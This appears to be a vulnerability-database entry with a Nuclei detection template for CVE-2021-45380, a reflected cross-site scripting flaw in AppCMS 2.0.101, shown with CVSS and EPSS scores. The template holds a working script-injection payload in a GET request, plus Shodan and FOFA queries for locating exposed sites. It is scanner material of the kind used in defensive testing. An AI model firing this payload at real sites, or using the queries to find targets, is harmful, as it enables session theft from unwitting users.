4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.003 Low
EPSS
Percentile
70.4%
AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
id: CVE-2021-45380
info:
name: AppCMS - Cross-Site Scripting
author: pikpikcu
severity: medium
description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/source-trace/appcms/issues/8
- https://nvd.nist.gov/vuln/detail/CVE-2021-45380
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-45380
cwe-id: CWE-79
epss-score: 0.00314
epss-percentile: 0.70155
cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: appcms
product: appcms
shodan-query:
- http.html:"Powerd by AppCMS"
- http.html:"powerd by appcms"
fofa-query: body="powerd by appcms"
tags: cve2021,cve,appcms,xss
http:
- method: GET
path:
- '{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '""></script><script>alert(document.domain)</script>'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022024384de6b0a93a051de72f068095500e01f5bf0fd5d96183c75e1ade1adb1730022100f6a242764334999f7835ead6985abcf58b92a4c28cfcc89f243145506f884932:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.003 Low
EPSS
Percentile
70.4%